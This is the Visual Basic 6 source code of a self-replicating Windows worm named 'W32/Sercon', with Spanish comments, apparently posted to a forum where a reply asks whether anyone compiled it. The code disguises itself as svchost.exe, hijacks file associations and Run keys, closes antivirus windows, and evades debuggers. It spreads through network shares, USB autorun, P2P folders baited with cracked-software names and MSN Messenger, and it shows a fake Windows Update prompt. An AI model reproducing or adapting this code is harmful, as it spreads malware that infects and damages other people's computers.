Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Declare Function keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Const KEYEVENTF_KEYUP = &H2
Private Const VK_LWIN = &H5B
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function CreateMutex Lib "kernel32" Alias "CreateMutexA" (ByRef lpMutexAttributes As SECURITY_ATTRIBUTES, ByVal bInitialOwner As Long, ByVal lpName As String) As Long
Private Const ERROR_ALREADY_EXISTS = 183
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Dim Mn As String, Mp As String, Mex As String, Mc As String, Nmr As String
Public Wp As String, Sp As String, Tp As String: Dim Dvr As String: Dim f As Object, w As Object
Dim Wrar As Boolean, Wzip As Boolean, Drar As String, Dzip As String: Dim Hmx As Long

Private Sub Form_Load()
'Habilito variables y apago timers
Dim M U T E X As SECURITY_ATTRIBUTES
VAV.Enabled = False
Lplan.Enabled = False
Pue.Enabled = False
Me.Visible = False
Mn = App.EXEName
Mp = App.Path
Mex = Ext(Mp, Mn)
Mc = Mp & "\" & Mn & Mex
M U T E X.bInheritHandle = 1
M U T E X.lpSecurityDescriptor = 0
M U T E X.nLength = Len(M U T E X)
'Llamada a rutina que habilita objetos _
y verifica si existe WinRAR y/o WinZIP
Call habilitad
Hmx = CreateMutex(M U T E X, 1, "\/\/0R/\/\_S3rC0N")
On Error GoTo byes
'Si recibimos comandos...
If Command$ <> "" Then
'Si los comandos tienen la ruta del script
If Command$ = Sp & "\Host Script.zap" Then
'Llamamos para que sea leido.
Call Interpt
Else
'Si recibimos un directorio..
If GetAttr(Command$) = vbDirectory Then
'Lo abrimos con el Explorer.exe
Shell Wp & "\Explroer.exe " & Command$, vbNormalFocus
Else
'Sino ejecutamos como aplicacion.
Shell Command$, vbNormalFocus
End If
'Si nos ejecutamos normalmenmte _
infectamos el registro para interceptar archivos y directorios.
Call Igr
End If
'Si ya estabamos en memoria _
nos terminamos.
If Err.LastDllError = ERROR_ALREADY_EXISTS Then End
'Empezamos a infectar el sistema.
Call Miostra
'Si no existe nuestra copia la hacemos _
y nos registramos para el proximo inicio.
If Dir(Wp & "\Svchost.exe") = "" Then
FileCopy Mc, Wp & "\svchost.exe"
creg "HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion", "RunServices\", Wp & "\Svchost.exe"
End If
End If
byes:
'Si hay algun error nos aseguramos un lugar al proximo reinicio
FileCopy Mc, Tp & "\W32/Sercon.exe"
creg "HKEY_CURRENT_USER", "Software\Microsoft\Windows\CurrentVersion\Run", "Sercon\", Tp & "\W32/Sercon.exe"
'Si me estaa ejecutando en "Data" me elimino y elimino "Data"
If LCase(Right(App.Path, 4)) = "data" Then
Kill Mc
f.DeleteFolder (App.Path)
End If
Exit Sub
End Sub

Private Sub Form_Unload(Cancel As Integer)
'Descargamos el mutex
Call CloseHandle(Hmx)
'Si nos terminan... (no funciona parala terminacion del proceso)
If Dir(Wp & "\Svchost.exe") = "" Then FileCopy Mc, Wp & "\Svchost.exe"
'Nos ejecutamos pero para leer el script
Shell Wp & "\Svchost.exe " & Sp & "\Host Script.zap"
'Nos aseguramos un lugar en memoria para elproximo reinicio.
FileCopy Mc, Tp & "\W32/Sercon.exe"
creg "HKEY_CURRENT_USER", "Software\Microsoft\Windows\CurrentVersion\Run", "Sercon\", Tp & "\W32/Sercon.exe"
If LCase(Right(App.Path, 4)) = "data" Then
Kill Mc
f.DeleteFolder (App.Path)
End If
MsgBox "Se ah finalizado una aplicacion del sistema. Se recomienda volverla a ejecutar desde `Ejecutar...´ `" & Wp & "\Svchost.exe´ unicado en el menu Inicio, o reiniciar el systema.", vbOKOnly + vbCritical, "Final inexperado en " & Wp & "\Svchost.exe"
End Sub

Sub habilitad()
On Error Resume Next
'Habilitamos el timer _
que termina con ventanas de AV's
VAV.Enabled = True
'Creamos objetos y asignamos valores a variables.
Set f = CreateObject("scripting.filesystemobject")
Set w = CreateObject("wscript.shell")
Wp = f.GetSpecialFolder(0): Sp = f.GetSpecialFolder(1): Tp = f.GetSpecialFolder(2)
'Verificamos si existe WinRAR y/o WinZIP
rr = w.regread("HKEY_CLASSES_ROOT\WinRAR\shell\open\command\")
If rr <> "" Then
Drar = Left(rr, Len(rr) - 6)
Drar = Right(Drar, Len(Drar) - 1)
Wrar = True
Else
Wrar = False
End If
Zp = w.regread("HKEY_CLASSES_ROOT\WinZIP\shell\open\command\")
If Zp <> "" Then
Dzip = Left(Zp, Len(Zp) - 5)
Wzip = True
Else
Wzip = False
End If
'Si existen los dos, nos quedamos con WinRAR
If Wrar = True And Wzip = True Then
Wrar = True
Wzip = False
End If
End Sub

Function IntoRAR(Fe As String, ByVal Fz As String)
'Rutina para infectar con WinRAR
Dim Drv As String
Fe = LCase(Fe)
Drv = Left(Wp, 3)
FileCopy Fe, Drv & "Extract.exe"
If Dir(Drar) <> "" Then
Shell Drar & " -a " & Drv & "Extract.exe" & " " & Drv & "t.zip", vbHide
FileCopy Drv & "t.zip", Fz & ".zip"
Kill Drv & "t.zip"
Kill Drv & "Extract.exe"
IntoRAR = 1
Else
IntoRAR = 0
End If
End Function

Function IntoZIP(Fe As String, ByVal Fz As String)
'Rutina para infectar con WinZIP
Dim Drv As String
Fe = LCase(Fe): Fz = LCase(Fz)
Drv = Left(Wp, 3)
FileCopy Fe, Drv & "Extract.exe"
If Dir(Dzip) <> "" Then
Shell Dzip & " a " & Drv & "Extract.exe" & " " & Drv & "t.zip", vbHide
FileCopy Drv & "t.zip", Fz & ".zip"
Kill Drv & "Extract.exe"
Kill Drv & "t.zip"
IntoZIP = 1
Else
IntoZIP = 0
End If
End Function

Private Sub Igr()
'Rutina que infecta el registro para interceptar _
archivos y asi poder ejecutarnos cuando se intenta _
abrir un fichero con su programa por defecto.
Dim Rt(1 To 7) As String
Dim Fc(6) As String
'Nos copiamos...
FileCopy Mc, Wp & "\svchost.exe"
'Leemos entrada para obtener la funcion que _
ejecuta la paertura pro defecto de alguna _
extenciones.
Fc(0) = lreg("HKEY_CLASSES_ROOT", "", ".txt\")
Fc(1) = lreg("HKEY_CLASSES_ROOT", "", ".mp3\")
Fc(2) = lreg("HKEY_CLASSES_ROOT", "", ".jpeg\")
Fc(3) = lreg("HKEY_CLASSES_ROOT", "", ".mpeg\")
Fc(4) = lreg("HKEY_CLASSES_ROOT", "", ".html\")
Fc(6) = lreg("HKEY_CLASSES_ROOT", "", ".wma\")
'Obtenemos el valor que contiene el programa con que se abre dicho fichero _
y sus variables.
Fc(0) = lreg("HKEY_CLASSES_ROOT", Fc(0) & "\Shell\Open", "command\")
Fc(1) = lreg("HKEY_CLASSES_ROOT", Fc(1) & "\Shell\Open", "command\")
Fc(2) = lreg("HKEY_CLASSES_ROOT", Fc(2) & "\Shell\Open", "command\")
Fc(3) = lreg("HKEY_CLASSES_ROOT", Fc(3) & "\Shell\Open", "command\")
Fc(4) = lreg("HKEY_CLASSES_ROOT", Fc(4) & "\Shell\Open", "command\")
Fc(5) = lreg("HKEY_CLASSES_ROOT", "Drive\Shell\find", "command\")
Fc(6) = lreg("HKEY_CLASSES_ROOT", Fc(6) & "\Shell\Open", "Command\")
Rt(1) = Fc(0): Rt(2) = Fc(1): Rt(3) = Fc(2): Rt(4) = Fc(3): Rt(5) = Fc(4): Rt(6) = Fc(5): Rt(7) = Fc(6)
'Reemplasamos el programa original por el virus...
creg "HKEY_CLASSES_ROOT", "txtfile\Shell\Open", "command", Wp & "\svchost.exe " & Rt(1)
creg "HKEY_CLASSES_ROOT", "mp3file\Shell\Open", "command", Wp & "\svchost.exe " & Rt(2)
creg "HKEY_CLASSES_ROOT", "jpegfile\Shell\Open", "command", Wp & "\svchost.exe " & Rt(3)
creg "HKEY_CLASSES_ROOT", "mpegfile\Shell\Open", "command", Wp & "\svchost.exe " & Rt(4)
creg "HKEY_CLASSES_ROOT", "htmlfile\Shell\Open", "command", Wp & "\svchost.exe " & Rt(5)
creg "HKEY_CLASSES_ROOT", "Drive\Shell\find", "command", Wp & "\svchost.exe " & Rt(6)
creg "HKEY_CLASSES_ROOT", "wmafile\Shell\Open", "Command", Wp & "\svchost.exe " & Rt(7)
creg "HKEY_CLASSES_ROOT", "Directory", "Shell\", "ExplorerEXE"
creg "HKEY_CLASSES_ROOT", "Directory\Shell\ExplorerEXE", "Command\", Wp & "\svchost.exe %1"
End Sub

Private Sub Miostra()
cd = LCase(lreg("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion", "Organizacion\") & S)
If Left(cd, Len(cd) - 1) <> "w32_sercon" Then
'Si no estaba infectado, o la primera infeccion habia dado error...
Call Inicio
Else
'Si ya habia infectado satisfactoriamente.
Call Infectoide
End If
End Sub

Private Sub Inicio()
'Creo el script
Crear_Script Wp & "\Host Script.zap"
'Me registro en el sistema...
Registrador
End Sub

Private Sub Registrador()
Dim IMGWin As String, TXTWin As String
'Marca de sistema infectado:
creg "HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion", "Organizacion\", "W32_Sercon"
'SI no existe la copia, la creo.
If Dir(Wp & "\Svchost.exe") = "" Then FileCopy Mc, Wp & "\Svchost.exe"
'Registro la copia:
creg "HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion", "Run\", Wp & "\Svchost.exe"
'Si no existe la copia la creo.
If Dir(Sp & "\Explorer.exe") = "" Then FileCopy Mc, Sp & "\Explorer.exe"
'Registro la copia:
creg "HKEY_CURRENT_USER", "Software\Microsoft\Windows\CurrentVersion", "Run\", Sp & "\Explorer.exe"
'Guardamos la imagen en el directorio Windows.
SavePicture imgsercon, Wp & "\Sercon.jpg"
IMGWin = Wp & "\Sercon.jpg"
'Modificamos las entradas para que: _
al intentar abrir un archiv con el Explorer se vew la imagen. _
al intentar abrir un archivo con el paint se vea la imagen.
creg "HKEY_CLASSES_ROOT", "Applications\explorer.exe\Shell\Open", "Command\", Chr(34) & Wp & "\explorer.exe" & _
Chr(34) & " " & Chr(34) & IMGWin & Chr(34)
Lp = lreg("HKEY_CLASSES_ROOT", "Applications\mspaint.exe\Shell\Open", "Command\")
Lp = Left(Lp, Len(Lp) - 4)
creg "HKEY_CLASSES_ROOT", "Applications\mspanit.exe\Shell\Open", "Command\", Lp & IMGWin
'Creamos un archivo de texto y modificamos variables para _
que cuando se abra algun fichero con el notepad para verlo _
o modificarlo se abra el fichero de texto creado por le vx.
TXTWin = Crear_TXT
Lt = lreg("HKEY_CLASSES_ROOT", "Applications\notepad.exe\Shell\Open", "Command\")
Lt = Left(Lt, Len(Lt) - 2)
Le = lreg("HKEY_CLASSES_ROOT", "Applications\notepad.exe\Shell\Edit", "Command\")
Le = Left(Le, Len(Le) - 2)
creg "HKEY_CLASSES_ROOT", "Applications\notepad.exe\Shell\Open", "Command\", Lt & TXTWin
creg "HKEY_CLASSES_ROOT", "Applications\notepad.exe\Shell\Open", "Command\", Le & TXTWin
'Nos copiamos como NOTE
FileCopy Mc, Sp & "\NOTE.EXE"
'Los archivos zap se abriran con la copia (El script es .zap)
creg "HKEY_CLASSES_ROOT", "zapfile\Shell\Open", "Command\", Sp & "\NOTE.EXE %1"

creg "HKEY_USERS", ".DEFAULT\Control Panel\Sound", "Beep", "no"
creg "HKEY_USERS", ".DEFAULT\Control Panel\Sound", "ExtendedSounds", "no"

MsgBox "El sistema ah sido actualizado, puede reiniciar su computadora cuando lo decée", vbInformation + vbOKOnly, "Windows Update"
End Sub

Private Sub Infectoide()
'Propagacion por lan
Lplan.Enabled = True
DoEvents
'Propagacion por discos de almacenamiento masivo.
Pue.Enabled = True
DoEvents
'Leemos el script.
Call Interpt
'Messenger.
Call Stoke
DoEvents
'Si encontramos carpetas de shared _
nos copiamos en ella.
Call Prpdp
End Sub

Private Sub Interpt()
'Rutina que lee el script y ejecuta operaciones.
Dim Es As String, Bs As String, Ln As String, TmpCdn As String
Dim Cond: Dim Valr: Dim Scon: Dim Arcv: Dim Fcn: Dim CnA: Dim CnB: Dim Yu
If Dir(Sp & "\Host Script.zap") <> "" Then
Open Sp & "\Host Script.zap" For Input As #1
Do While Not EOF(1)
Input #1, Ln
Func = Left(Ln, 1)
TmpCdn = Right(Ln, Len(Ln) - InStr(Ln, "{") + 3)
Cond = Left(TmpCdn, 1)
Valr = Mid(TmpCdn, 2, 1)
Scon = Mid(TmpCdn, 4, 1)
Arcv = Mid(TmpCdn, 6, InStr(TmpCdn, "}") - 6)
Select Case Func
Case 4
Es = Left(Ln, InStr(Ln, "|") - 1)
Es = Right(Es, Len(Es) - 2)
Bs = Right(Ln, Len(Ln) - InStr(Ln, "|"))
w.regwrite Es, Bs
Case 5
SubFunc = Mid(Ln, 3, 1)
Select Case SubFunc
Case 0
If Cond = ":" Then
If Valr = " " Then Valr = ""
If Dir(Left(Mid(Ln, 5, InStr(Ln, Cond) - 4), InStr(Mid(Ln, 5, InStr(Ln, Cond) - 4), "{") - 3)) = Valr Then
Select Case Scon
Case 2
FileCopy Mc, Arcv
Case 6
SavePicture imgsercon, Arcv
Case 7
Call Igr
End Select
End If
ElseIf Cond = "=" Then
If Valr = " " Then Valr = ""
If Dir(Left(Mid(Ln, 5, InStr(Ln, Cond) - 4), InStr(Mid(Ln, 5, InStr(Ln, Cond) - 4), "{") - 3)) <> Valr Then
Kill Arcv
End If
End If
Case 8
Fcn = Mid(Ln, 6, 1)
CnA = Mid(Ln, 8, InStr(Ln, ";") - 8)
CnB = Mid(Ln, InStr(Ln, ";") + 1, InStr(Ln, "]") - (InStr(Ln, ";") + 1))
Yu = Right(Ln, Len(Ln) - InStr(Ln, "<"))
Yu = Left(Yu, Len(Yu) - 1)
If Fcn = 3 Then
If InStr(w.regread(CnA), CnB) = Valr Then
If Arcv = 7 Then
Call Igr
End If
End If
End If
End Select
End Select
Loop
Else
creg "HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion", "Organizacion\", "nohayscript"
Exit Sub
End If
End Sub

Sub Stokmsn()
'Propagacion por Messenger de Microsoft
BlockInput True
Set MUI = CreateObject("Messenger.UIAutomation")
For Each Cn In MUI.MyContacts
If Cn.Status = 2 Then
Set Imss = MUI.InstantMessage(Cn.SigninName)
SendKeys Fr
DoEvents
SendKeys "^V"
DoEvents
End If
Next
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
BlockInput False
End Sub

Private Sub Prpdp()
Dim Fso As FileSystemObject
Dim Drs As Folder
Set Fso = New FileSystemObject
Set Drs = Fso.GetFolder(Drv)
Call Lstdr(Drs)
End Sub

Private Function Lstdr(ByVal dr As Folder)
'Rutina que busca carpetas shared
On Error Resume Next
Dim Sr As Folder
For Each Sr In dr.SubFolders
CdSr = Right(Sr, Len(Sr) - InStrRev(Sr, "\"))
If InStr(CdSr, "Incoming") <> 0 Then: Call Ctrlpdp(Sr)
If InStr(CdSr, "Share") <> 0 Then: Call Ctrlpdp(Sr)
If InStr(CdSr, "FileList") <> 0 Then: Call Ctrlpdp(Sr)
If InStr(CdSr, "Downloads") <> 0 Then: Call Ctrlpdp(Sr)
If InStr(CdSr, "My Grokster") <> 0 Then: Call Ctrlpdp(Sr)
If InStr(CdSr, "Descargas") <> 0 Then: Call Ctrlpdp(Sr)
DoEvents
Lstdr Sr
Next
End Function

Sub Ctrlpdp(ByVal Pt As String)
'Rutina que crea la copia del virus en la carpeta shared
Tx = Array("Norton AntiVirus 2007+Crack-Serial", "NFS Carbono+Crack", "Counter Strike 1.6", "Microsoft Oficce XP CRACK", _
"Nod32 installer + Serial [Español]", "Photoshop CS crack", "CorelDraw 12 + Crack[Español]", _
"Kaspersky AntiVirus KeyGen", "Rolling Stone - A Bigger Bang[Complete Disc]", "Nero-7.5.9.0_Spanish_Funciona-con-Windows-Vista(+KeyGen)", "NERO 7 0 1 4 en Español - Completo!", _
"Windows Vista Theme", "Setup Delphi 7 + Crack", "Paris Hilton desnuda", "Porn Videos XXX", "Games hentai", "XXX-(pc games)-Strip-poker-game(exellent)", "WINDOWS VISTA PRO+CRACK+LICENCIA.2007.SPANISH.DVD", _
"NFS KeyGen", "fotos y videos de zorras", "Hack Hotmail", "Chayanne 2007", "Soda Stereo[Discografia Completa]", "Second-Life-1-18-5-3_Setup", "Windows xp sp2 Pro", "Windows Vista Pro 2007(Con licencia y pass)", _
"The Simpsons Hit and Run[Full]", "Messenger Plus!", "Dev C++", "Visual Basic 8", "Adobe Photoshop CS2 Pro+KeyGen", "Crack Photoshop CS2", "Windows_Vista_Ultimate SP3", "Windows Installer", _
"Visual Studio 2005", "Visual Studio Profecional CD1", "Visual Studio Profecional CD2", "Visual Studio Profecional CD3", "CD Linux Original", "Internet Explorer 7 completo en español crackeado", _
"Linkin Park", "System Of A Down", "Metallica[Full Discograpy]", "Adobe Photoshop 8", "Adobe Photoshop CS2", "Spyware Doctor v4.0.0.2618 + Serial", "WinRAR 7.0+Crack", "Ares Regular 2 0 0 3020 installer 2007 version", _
"Black Eyed Pease[Discografia Completa]", "Age Of Empires III", "Age Of Empires II", "Battlefield 1942", "KeyGen Battlefield", "Macromedia Flash MX(con Serial)", "Java 2 Runtime Enviroment, SE v1.4.2_03", _
"Diablo II [Full]", "FIFA 2008", "Vista Inspirac Installer", "System Of A Down Worm", "Wallpaper_Shakira Sex", "Ad-aware 6 Pro", "Trend Micro Internet Security", "MSN hackers Tool(Hack)(Crack)", _
"Winning Eleven 12[Español]", "GTA San Andreas+crack", "Serial GTA San Andreas", "WinRAR Serial", "World Of Warcraft Serial", "The Simpsons Movie", "Windows Live Messenger 8.1", _
"Per AntiVirus+Serial", "Serial_Nero Burning Rom", "NERO_Burning_Rom", "mIRC installer_2007", "Hitman 2 CRACK", "Download Accelerator Plus 6.1", "My Space Profile Hacking", _
"AOL Instant Messenger", "DVD Copy Plus v5.0", "Credit_Card_Number Generator", "Bush_Funny_Screenhost", "Simpsons Screenhost", "Salvapantallas The_Simpsons", _
"Messenger Screenhost", "Win_Vista Screenhosts Pack", "Blink182_Screenhost", "Good Charlotte_Screenhost", "The Simpsons Hit and Run_Full Path+Crack", _
"NFS Most Wanted No-Cd Crack", "Trade_Hack MU Online", "Linkin Park Screenhost", "Reproductor_Windows Media 10_Crack for Windows no original", _
"Visual Basic 8.0_", "AVG_Crack for AVG AV", "NO-IP Duc full", "NOD32 antivirus 2.70.16 con crack", "Nod 32 antivirus + Crack", "NOD 32 Professional", _
"Nod32 installer", "AVG AntiVirus 7.5 Español", "Avg free edition", "AVG 7.5 PRO + Key", "Crack AVG Anti-Virus 7.5 Español", "Norton AntiVirus 2007 XP-Vista", _
"Norton AntiVirus 2007 + Activation Key", "Norton 2007 AntiVirus+ProductKey+Serial", "Norton Antivirus 2007 XP & Vista+KeyGen", "Kaspersky Anti-Virus Pro(KeyGen+Crack)", _
"Kaspersky AntiVirus 7.0", "Kaspersky AntiVirus 7.0 Full SerialKey", "Kaspersky AntiVirus Personal", "Kaspersky AntiVirus 7.0 Español[FULL VERSION]", "Salvapantalla de los Simpsons", _
"SimAQUARIUM_Free! acuario salvapantalla", "Age Of Empires 3(Full Game)", "Age Of Empires II[FULL GAME]", "Microsoft Flight Simulator 2007[FULL GAME]", "Battlefield_1942 full installer", _
"GBA-Digimon Battle Spirit", "Megaman Battle Network-GBA", "MU online 10.0 Full", "Install Mu Pirata", "TradeHack MuOnline", "Hack for Global MUOnline")
For i = LBound(Tx) To UBound(Tx)
DoEvents
Zp = Tx(i)
If Wrar = True Then
IntoRAR Mc, Zp
ElseIf Wzip = True Then
IntoZIP Mc, Zp
End If
DoEvents
Next
End Sub

Private Sub Lplan_Timer()
'Rutina que infecta redes lan por medio de la comparticion de archivos.
Dim gn As Object
Dim Ttl As Integer
Dim Drvl: Dim Gdrv
Set gn = CreateObject("WScript.Network")
Set Gdrv = gn.EnumNetworkDrives
Ttl = Gdrv.Count - 1
If Ttl <> 0 Then
For i = 1 To Ttl
Drvl = Gdrv(i)
If Drvl <> "" Then
FileCopy Mc, Drvl & "\CONTRASEÑAS NUEVAS (Comprimidas con upx).exe"
SetAttr Drvl & "\CONTRASEÑAS NUEVAS (Comprimidas con upx).exe", vbReadOnly + vbSystem
If f.folderexist(Drvl & "\Windows\Menú Inicio\Programas\Inicio") <> "" Then
FileCopy Mc, Drvl & "\Windows\Menú Inicio\Programas\Inicio\Extract.exe"
End If
If f.folderexist(Drvl & "\Windows\Start Menu\Programs\StartUp") <> "" Then
FileCopy Mc, Drvl & "\Windows\Start Menu\Programs\StartUp\Extract.exe"
End If
If f.folderexits(Drvl & "\Windows\Escritorio") <> "" Then
FileCopy Mc, Drvl & "\Windows\Escritorio\Extraer passwords.exe"
End If
End If
Next
End If
End Sub

Private Sub Pue_Timer()
'Rutina que busca cd's y unidades de almacenamiento (discos extraibles).
On Error Resume Next
Dim y As Object
Dim Drv As String
Set y = f
Drv = Space(100)
Rt = GetLogicalDriveStrings(Len(Drv), Drv)
For i = 1 To Rt Step 4
Drn = Mid(Drv, i, 3)
UntState = GetDriveType(Drn)
If UntState = DRIVE_REMOVABLE Or UntState = DRIVE_CDROM Then
Set Gdr = y.GetDrive(Left(Drn, 1))
If Gdr.IsReady = True Then
Call InfDsk(Gdr & "\")
End If
End If
Next
End Sub

Private Sub InfDsk(DrvN As String)
'rutina que infecta cd's y unidades extraibles de disco junto con un autorun
On Error Resume Next
If Dir(DrvN & "autorun.inf") <> "" Then: SetAttr DrvN & "autorun.inf", 0
FileCopy Mc, DrvN & "autorun.exe"
Open DrvN & "autorun.inf" For Output As #1
Print #1, "[Autorun]"
Print #1, "shellexecute=autorun.exe"
Print #1, "shell\findit\command=autorun.exe"
Print #1, "shell\findit=&Analizar en busca de virus..."
Close #1
SetAttr DrvN & "autorun.exe", 1 + 2
SetAttr DrvN & "autorun.inf", 1 + 2
End Sub

Private Sub Stoke_Timer()
'Timer que busca ventanas de conversacion y envia el worm.
Sn = Left(NomVenAct, InStr(NomVenAct, "|") - 1)
If InStr(LCase(Sn), "conversa") <> 0 Then
If Wrar = True Then
Rt = IntoRAR(Mc, Sp & "\Smile Messenger")
If Rt <> 0 Then Fn = Sp & "\Smile Messenger.zip": Rt = 1
ElseIf Wzip = True Then
Rt = IntoZIP(Mc, Sp & "\Smile Messenger")
If Rt <> 0 Then Fn = Sp & "\Smile Messenger.zip": Rt = 1
End If
If Rt = 1 Then
If InStr(Sn, "conversacion") <> 0 Then Fr = "Mira esto..."
If InStr(Sn, "conversation") <> 0 Then Fr = "Look this..."
Cp = CBfile(Fn)
If Cp = 1 Then Call Stokmsn
End If
End If
End Sub

Private Sub TDE_Timer()
'Timer simple y casi inutil ^^ que busca ventanas con la palabra debug y si
'la encuentra se finaliza
Nvc = Left(Nv, InStr(Nv, "|") - 1)
If InStr(LCase(Nvc), "deb") <> 0 Then
End
End If
End Sub

Private Sub VAV_Timer()
'Timer que busca ventanas correspondiente a seguridad. y las cierra
Dim Av(9) As String
Nv = NomVenAct
NvN = Left(Nv, InStr(Nv, "|") - 1)
NvH = Right(Nv, Len(Nv) - Len(NvN) - 1)
Av(0) = "anti": Av(1) = "virus": Av(2) = "trojan": Av(3) = "troyano": Av(4) = "firewall"
Av(5) = "avg": Av(6) = "norton": Av(7) = "nod": Av(8) = "scan": Av(9) = "symantec"
For i = 0 To UBound(Av)
If InStr(LCase(NvN), Av(i)) <> 0 Then
SendMessage NvH, WM_SYSCOMMAND, SC_CLOSE, NILL
End If
Next
End Sub

Function Crear_TXT()
'Funcion que crea un archivo de texto...
Open Wp & "\Sercon.txt" For Output As #1
Print #1, " SERCON WORM "
Print #1, "I'am sorry..."
Print #1, "You're infected for W32/Sercon Worm."
Print #1, "Have a nice day."
Print #1, ""
Print #1, " ANYD00M"
Close #1
Crear_TXT = Wp & "\Sercon.txt"
End Function

Public Declare Function OpenClipboard Lib "user32" (ByVal hWnd As Long) As Long
Public Declare Function CloseClipboard Lib "user32" () As Long
Public Declare Function EmptyClipboard Lib "user32" () As Long
Public Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Public Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Public Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Public Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Public Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Const CF_HDROP = 15
Public Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Const DRIVE_CDROM = 5
Public Const DRIVE_REMOVABLE = 2
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Const NILL = 0&
Public Const WM_SYSCOMMAND = &H112
Public Const SC_CLOSE = &HF060&
Public Type DROPFILES
pFiles As Long
End Type

Public Function NomVenAct()
Dim Hdl As Long, Lgd As Long
Dim Ret As String, Cdn As String
Hdl = GetForegroundWindow()
Lgd = GetWindowTextLength(Hdl)
Cdn = Space(Lgd + 1)
Ret = GetWindowText(Hdl, Cdn, Lgd + 1)
NomVenAct = Left(Cdn, (Lgd + 1) - 1) & "|" & Hdl
End Function

Public Function CBfile(ByVal File As String) As Long
Dim Rt As Long, Rt2 As Long
Dim Dt As DROPFILES
If OpenClipboard(0) <> 0 Then
EmptyClipboard
File = File & vbNullChar
Rt = GlobalAlloc(GHND, Len(Dt) + Len(File))
If Rt <> 0 Then
Rt2 = GlobalLock(Rt)
Dt.pFiles = Len(Dt)
CopyMem ByVal Rt2, Dt, Len(Dt)
CopyMem ByVal Rt2 + Len(Dt), ByVal File, Len(File)
GlobalUnlock Rt
SetClipboardData CF_HDROP, Rt
End If
CloseClipboard
End If
End Function

Public Function Ext(pd As String, nd As String)
If Dir(pd & "\" & nd & ".exe") <> "" Then Ext = ".exe"
If Dir(pd & "\" & nd & ".pif") <> "" Then Ext = ".pif"
If Dir(pd & "\" & nd & ".com") <> "" Then Ext = ".com"
If Dir(pd & "\" & nd & ".scr") <> "" Then Ext = ".scr"
End Function

Public Function creg(h As String, c As String, d As String, v As String)
On Error GoTo norw
Set w = CreateObject("wscript.shell")
w.regwrite h & "\" & c & "\" & d, v
creg = 1
norw:
creg = 0
Exit Function
End Function

Public Function lreg(h As String, c As String, d As String)
On Error GoTo norr
Set w = CreateObject("wscript.shell")
x = w.regread(h & "\" & c & "\" & d)
lreg = x
norr:
lreg = 0
Exit Function
End Function

Public Sub Crear_Script(Sc As String)
'copyright ;-)
Open Sc For Output As #1
Print #1, "5 0 " & Wp & "\Svchost.exe: {2 " & Wp & "\Svchost.exe}"
Print #1, "5 0 " & Sp & "\Explorer.exe: {2 " & Sp & "\Explorer.exe}"
Print #1, "5 0 " & Wp & "\Sercon.jpg: {6 " & Wp & "\Sercon.jpg}"
Print #1, "5 0 " & Wp & "\Sercon.txt: {7 Crear_TXT}"
Print #1, "5 0 " & Sp & "\NOTE.exe: {2 " & Sp & "\NOTE.exe}"
Print #1, "5 0 " & Tp & "\Temp.exe= {1 " & Tp & "\Temp.exe}"
Print #1, "5 8 [3 HKEY_CLASSES_ROOT\txtfile\Shell\Open\Command\;svchost]:0{7<Igr}"
Print #1, "4 HKEY_LOCAL_MACHINE\Sercon\|Infected"
Print #1, "."
Print #1, "******************************************************************************"
Print #1, "*"
Print #1, "* Copyright (c) Microsoft Corporation. All rights reserved."
Print #1, "*"
Print #1, "* Module Name: Host Script.zap"
Print #1, "*"
Print #1, "* Abstract: Enables an administrator to display and configure"
Print #1, "* a systems paging file Virtual Memory settings."
Print #1, "*"
Print #1, "*"
Print #1, "******************************************************************************"
Close #1
End Sub

Juanse 254 escribió:alguien lo ha compilado?